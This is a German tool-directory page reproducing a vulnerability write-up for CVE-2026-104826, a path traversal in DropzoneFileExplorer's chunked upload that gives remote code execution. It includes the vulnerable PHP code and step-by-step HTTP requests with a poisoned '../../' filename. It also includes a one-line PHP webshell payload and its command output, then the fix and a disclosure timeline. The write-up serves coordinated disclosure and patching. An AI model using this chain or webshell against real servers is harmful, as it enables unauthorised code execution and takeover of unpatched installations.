Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-104826 — Proof-of-Concept-Exploit-Kette für CVE-2026-104826, einen Path Traversal im Chunked-Upload-Handler von DropzoneFileExplorer, der eine PHP-Webshell für Remote Code Execution schreibt. | Kitploit
Tools/GitHubGitHub/kiwknr/cve-2026-104826
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsRemote-Access-Tool
GitHubkiwknr/cve-2026-104826

CVE-2026-104826

Proof-of-Concept-Exploit-Kette für CVE-2026-104826, einen Path Traversal im Chunked-Upload-Handler von DropzoneFileExplorer, der eine PHP-Webshell für Remote Code Execution schreibt.

Repository anzeigen
1vor 1 TagNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-104826 - Path Traversal zu RCE in DropzoneFileExplorer

Der resumierbare (gechunkte) Upload-Handler vertraut dem vom Client gelieferten fileName bis hinunter zu fopen(). Füttere ihn mit ../../ und du schreibst außerhalb deines erlaubten Ordners, aus dem Storage-Root heraus, in das Web-Root. Die App serviert PHP, also wird die Datei, die du platzierst, ausgeführt.

Projekt: KeepCoolCH/DropzoneFileExplorer

CVECVE-2026-104826
AdvisoryGHSA-7626-89vx-5rpc
KlasseCWE-22 (Path Traversal) -> CWE-434 -> RCE
Authstandardmäßig authentifiziert, unauthentifiziert wenn AUTH_ENABLE=false
CVSS v4.08.5 High (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H)
Betroffenv1.1 (getestet bei Commit 68858e0)
Behoben inv1.2
CreditKanarat Kaeothong (Axiom0x)

Wo es bricht

Zwei Funktionen sind relevant. uploadInit nimmt fileName aus dem Request-Body und behält es mit nichts außer einem trim() bei (inc/functions.php, etwa L2080):

$fileName = trim((string)($body['fileName'] ?? 'file'));   // no basename(), no norm_rel()
// ...stored verbatim in the upload's meta.json

uploadFinalize liest es später zurück und setzt den Ausgabepfad zusammen (inc/functions.php, L2192-2216):

$destDir     = norm_rel((string)($meta['destDir'] ?? ''));       // normalized
$relPath     = norm_rel((string)($meta['relativePath'] ?? ''));  // normalized
$fileName    = (string)($meta['fileName'] ?? 'file');            // NOT normalized

$destBaseAbs = abs_path($destDir);
ensure_inside_allowed_roots($destBaseAbs);                        // dir is checked
$finalDirAbs = $destBaseAbs;
if ($relPath !== '') {
    $finalDirAbs = $destBaseAbs . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $relPath);
    ensure_inside_allowed_roots($finalDirAbs);                    // dir is checked
}

$finalName = $fileName;
$finalAbs  = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;     // traversal lands here
// ...
$out = @fopen($finalAbs, 'c+b');                                 // arbitrary write

ensure_inside_allowed_roots() ist für sich genommen in Ordnung. Es ruft realpath() auf und stellt sicher, dass der Pfad unter den Roots des Benutzers bleibt. Das Problem ist, was ihm übergeben wird. $destBaseAbs und $finalDirAbs werden beide validiert, aber $finalAbs, derjenige, der tatsächlich das fileName des Angreifers enthält, wird nie validiert. fopen() bekommt den rohen String .../shared/../../app/shell.php und das Betriebssystem kollabiert die .. für dich.

Erwähnenswert: Jeder andere Schreibpfad in dieser Codebasis führt entweder den zusammengesetzten Pfad durch ensure_inside_allowed_roots() oder verpackt den Namen in basename(). Dieser hier macht weder noch. Es liest sich wie eine Stelle, die refaktoriert wurde und bei der die abschließende Prüfung verloren ging.

Reproduzieren

Stock v1.1, Standardkonfiguration (AUTH_ENABLE=true). Akteur ist ein normaler Benutzer lowpriv, dessen einziger Ordner shared ist.

  1. Melde dich als lowpriv an (hole das CSRF-Token von der Login-Seite, dann POSTe auth_action=login).

  2. Bestätige, dass die Sandbox tatsächlich funktioniert. Ein direkter Upload in den Ordner eines anderen wird verweigert:

    POST /index.php?action=uploadInit
    {"destDir":"secret_admin_area","fileName":"x.txt","fileSize":0,"policy":"overwrite"}
    -> {"ok":false,"error":"Access denied"}
    
  3. Nutze den erlaubten Ordner, aber vergifte fileName:

    POST /index.php?action=uploadInit
    {"destDir":"shared","fileName":"../../app/pwned.php","fileSize":0,"policy":"overwrite"}
    -> {"ok":true,"uploadId":"..."}
    
  4. Sende die Payload als einen Chunk:

    POST /index.php?action=uploadChunk   (multipart)
    uploadId=<id>&index=0&total=1  + file field "chunk" = <?php system($_GET['c']); ?>
    -> {"ok":true}
    
  5. Finalisiere:

    POST /index.php?action=uploadFinalize
    {"uploadId":"<id>","policy":"overwrite"}
    -> {"ok":true,"path":"app/pwned.php"}
    

    Die Antwort meldet app/pwned.php. Die App selbst sagt dir, dass sie außerhalb von shared und außerhalb des Storage-Roots geschrieben hat.

  6. Führe es aus:

    GET /pwned.php?c=id
    -> uid=... (command output)
    

Aus meinem eigenen Lauf gegen eine lokale Instanz:

GET /pwned_axiom.php?c=id
uid=501(miniq) gid=20(staff) ...

GET /pwned_axiom.php?c=uname+-a
Darwin ... arm64

Siehe poc/exploit.py für die vollständige Kette (Login, CSRF, Poison, Chunk, Finalize, Execute).

Auswirkung

Jeder, der hochladen darf, kann eine Datei dorthin schreiben, wo der PHP-Prozess schreiben kann, egal was die Ordnerregeln pro Benutzer sagen. Eine .php-Datei im Web-Root bedeutet Remote Code Execution als der Web-Benutzer. Mit AUTH_ENABLE=false gibt es keinen Login-Schritt und es ist direkt unauthentifizierte RCE.

Fix

Kürze in uploadFinalize fileName auf einen bloßen Namen, bevor du ihn öffnest, und prüfe den zusammengesetzten Pfad erneut:

$finalName = basename($fileName);            // kill any path component
$finalAbs  = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;
ensure_inside_allowed_roots($finalAbs);      // and verify the real target

basename() allein stoppt die Traversierung. Das Hinzufügen der Prüfung ensure_inside_allowed_roots($finalAbs) ist die Belt-and-Suspenders-Version, und sie entspricht der Art und Weise, wie der Rest des Codes Schreibvorgänge bereits absichert. Dieselbe Behandlung muss auf den rename-Policy-Zweig (etwa L2210) angewendet werden, wo $finalName neu berechnet wird. Der Maintainer hat dies in v1.2 eingebaut.

Zeitleiste

  • 2026-07-26 gefunden, die vollständige Kette gebaut und gegen ein lokales v1.1 ausgeführt
  • 2026-07-27 privat gemeldet (GitHub Security + E-Mail an den Maintainer)
  • 2026-07-27 private GHSA eröffnet (GHSA-7626-89vx-5rpc)
  • 2026-07-28 Maintainer bestätigte und lieferte v1.2 aus, Advisory veröffentlicht
  • 2026-10-02 GitHub CNA wies CVE-2026-104826 zu

Referenzen

  • Advisory: https://github.com/KeepCoolCH/DropzoneFileExplorer/security/advisories/GHSA-7626-89vx-5rpc
  • CVE-Eintrag: https://www.cve.org/CVERecord?id=CVE-2026-104826

Koordinierte Offenlegung, behoben bevor dies öffentlich wurde. Das PoC ist bewusst auf eine lokale Testinstanz ausgerichtet. Richte es nicht auf etwas, das dir nicht gehört.

Tool herunterladen